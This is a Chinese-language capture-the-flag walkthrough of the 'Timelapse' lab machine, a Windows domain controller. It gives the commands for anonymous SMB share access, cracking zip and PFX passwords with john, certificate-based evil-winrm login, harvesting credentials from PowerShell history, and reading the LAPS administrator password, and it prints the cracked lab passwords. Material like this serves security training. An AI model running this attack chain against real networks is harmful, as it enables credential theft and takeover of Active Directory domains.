实战打靶之Timelapse
字数 1543 2025-08-11 21:26:12

Timelapse靶机渗透测试实战教学文档

1. 信息收集阶段

1.1 主机发现与端口扫描

使用nmap进行端口扫描,发现18个开放端口,关键端口组合包括:

  • Kerberos (88/tcp)
  • LDAP (389/tcp)
  • DNS (53/tcp)
  • SMB (445/tcp)

这种端口组合表明dc01.timelapse.htb很可能是一个域控制器(Domain Controller),且系统为Windows。

1.2 SMB服务枚举

  1. 使用crackmapexec进行SMB爆破尝试,未发现可利用信息

  2. 使用smbclient匿名连接:

    smbclient -L //dc01.timelapse.htb -N
    

    发现存在shares共享目录

  3. 连接并浏览共享目录:

    smbclient //dc01.timelapse.htb/shares -N
    

    发现包含一个压缩包文件,使用get命令下载到本地

2. 文件分析阶段

2.1 压缩包分析

  1. 查看压缩包内容:

    unzip -l legacyy_dev_auth.zip
    
  2. 破解压缩包密码:

    • 使用zip2john生成hash:
      zip2john legacyy_dev_auth.zip > hash.txt
      
    • 使用john爆破hash:
      john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
      
  3. 解压压缩包:

    unzip legacyy_dev_auth.zip
    

    获得.pfx文件

2.2 PFX文件处理

  1. 使用pfx2john.py生成hash:

    python pfx2john.py legacyy_dev_auth.pfx > pfx_hash.txt
    
  2. 使用john爆破PFX密码:

    john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash.txt
    

    获得密码:thuglegacy

  3. 提取私钥和证书:

    openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key
    openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
    

    提取时输入PFX密码thuglegacy

3. 初始访问阶段

使用evil-winrm进行远程连接:

evil-winrm -S -c legacyy_dev_auth.crt -k legacyy_dev_auth.key -i timelapse.htb

参数说明:

  • -S:启用SSL(连接5986端口)
  • -c:指定证书文件
  • -k:指定私钥文件
  • -i:目标主机

连接成功后,在Desktop目录下找到user.txt(第一个flag)

4. 权限提升阶段

4.1 信息收集

  1. 查看当前用户权限:

    whoami /priv
    net user
    
  2. 检查PowerShell历史文件:

    C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    

    发现包含用户名和密码的远程连接记录

4.2 二次连接

使用新发现的凭据通过evil-winrm连接:

evil-winrm -u svc_deploy -p '密码' -i timelapse.htb

检查用户组发现LAPS_Readers组,表明该用户有权读取LAPS密码。

4.3 读取LAPS密码

使用PowerShell命令读取本地管理员密码:

Get-ADComputer DC01 -property 'ms-mcs-admpwd'

获得密码:-c.I3I#+7Z},b;h01c$8D05r

4.4 最终权限提升

使用获取的本地管理员凭据连接:

evil-winrm -u administrator -p '-c.I3I#+7Z},b;h01c$8D05r' -i timelapse.htb

5. 获取root.txt

Desktop目录未找到root.txt,检查用户目录发现TRX目录,其中包含root.txt

6. 关键工具总结

  1. nmap:初始端口扫描
  2. crackmapexec:SMB服务爆破和信息收集
  3. smbclient:SMB共享访问和文件下载
  4. zip2john/john:压缩包密码破解
  5. pfx2john.py:PFX文件密码提取
  6. openssl:密钥和证书提取
  7. evil-winrm:Windows远程管理
  8. PowerShell:AD信息查询和LAPS密码读取

7. 关键知识点

  1. LAPS (Local Administrator Password Solution)

    • 微软提供的本地管理员密码管理解决方案
    • 定期轮换密码,防止凭证重用
    • ms-mcs-admpwd属性存储密码
    • LAPS_Readers组有权限读取密码
  2. SMB匿名访问

    • 空身份验证(-N)尝试访问共享
    • 默认共享$和自定义共享识别
  3. 证书认证

    • PFX文件包含公私钥对
    • 可用于SSL/TLS认证
    • 需要密码保护私钥
  4. Windows信息收集

    • PowerShell历史文件可能包含敏感信息
    • whoami /priv查看用户权限
    • net user查看用户信息
  5. AD查询

    • Get-ADComputer查询计算机对象属性
    • 需要适当权限读取敏感属性

本渗透测试展示了从信息收集到权限提升的完整过程,重点利用了SMB服务暴露的文件、证书认证和LAPS配置不当等漏洞。

Timelapse靶机渗透测试实战教学文档 1. 信息收集阶段 1.1 主机发现与端口扫描 使用nmap进行端口扫描,发现18个开放端口,关键端口组合包括: Kerberos (88/tcp) LDAP (389/tcp) DNS (53/tcp) SMB (445/tcp) 这种端口组合表明 dc01.timelapse.htb 很可能是一个域控制器(Domain Controller),且系统为Windows。 1.2 SMB服务枚举 使用 crackmapexec 进行SMB爆破尝试,未发现可利用信息 使用 smbclient 匿名连接: 发现存在 shares 共享目录 连接并浏览共享目录: 发现包含一个压缩包文件,使用 get 命令下载到本地 2. 文件分析阶段 2.1 压缩包分析 查看压缩包内容: 破解压缩包密码: 使用 zip2john 生成hash: 使用 john 爆破hash: 解压压缩包: 获得 .pfx 文件 2.2 PFX文件处理 使用 pfx2john.py 生成hash: 使用 john 爆破PFX密码: 获得密码: thuglegacy 提取私钥和证书: 提取时输入PFX密码 thuglegacy 3. 初始访问阶段 使用 evil-winrm 进行远程连接: 参数说明: -S :启用SSL(连接5986端口) -c :指定证书文件 -k :指定私钥文件 -i :目标主机 连接成功后,在 Desktop 目录下找到 user.txt (第一个flag) 4. 权限提升阶段 4.1 信息收集 查看当前用户权限: 检查PowerShell历史文件: 发现包含用户名和密码的远程连接记录 4.2 二次连接 使用新发现的凭据通过 evil-winrm 连接: 检查用户组发现 LAPS_Readers 组,表明该用户有权读取LAPS密码。 4.3 读取LAPS密码 使用PowerShell命令读取本地管理员密码: 获得密码: -c.I3I#+7Z},b;h01c$8D05r 4.4 最终权限提升 使用获取的本地管理员凭据连接: 5. 获取root.txt 在 Desktop 目录未找到 root.txt ,检查用户目录发现 TRX 目录,其中包含 root.txt 。 6. 关键工具总结 nmap :初始端口扫描 crackmapexec :SMB服务爆破和信息收集 smbclient :SMB共享访问和文件下载 zip2john/john :压缩包密码破解 pfx2john.py :PFX文件密码提取 openssl :密钥和证书提取 evil-winrm :Windows远程管理 PowerShell :AD信息查询和LAPS密码读取 7. 关键知识点 LAPS (Local Administrator Password Solution) : 微软提供的本地管理员密码管理解决方案 定期轮换密码,防止凭证重用 ms-mcs-admpwd 属性存储密码 LAPS_Readers 组有权限读取密码 SMB匿名访问 : 空身份验证( -N )尝试访问共享 默认共享 $ 和自定义共享识别 证书认证 : PFX文件包含公私钥对 可用于SSL/TLS认证 需要密码保护私钥 Windows信息收集 : PowerShell历史文件可能包含敏感信息 whoami /priv 查看用户权限 net user 查看用户信息 AD查询 : Get-ADComputer 查询计算机对象属性 需要适当权限读取敏感属性 本渗透测试展示了从信息收集到权限提升的完整过程,重点利用了SMB服务暴露的文件、证书认证和LAPS配置不当等漏洞。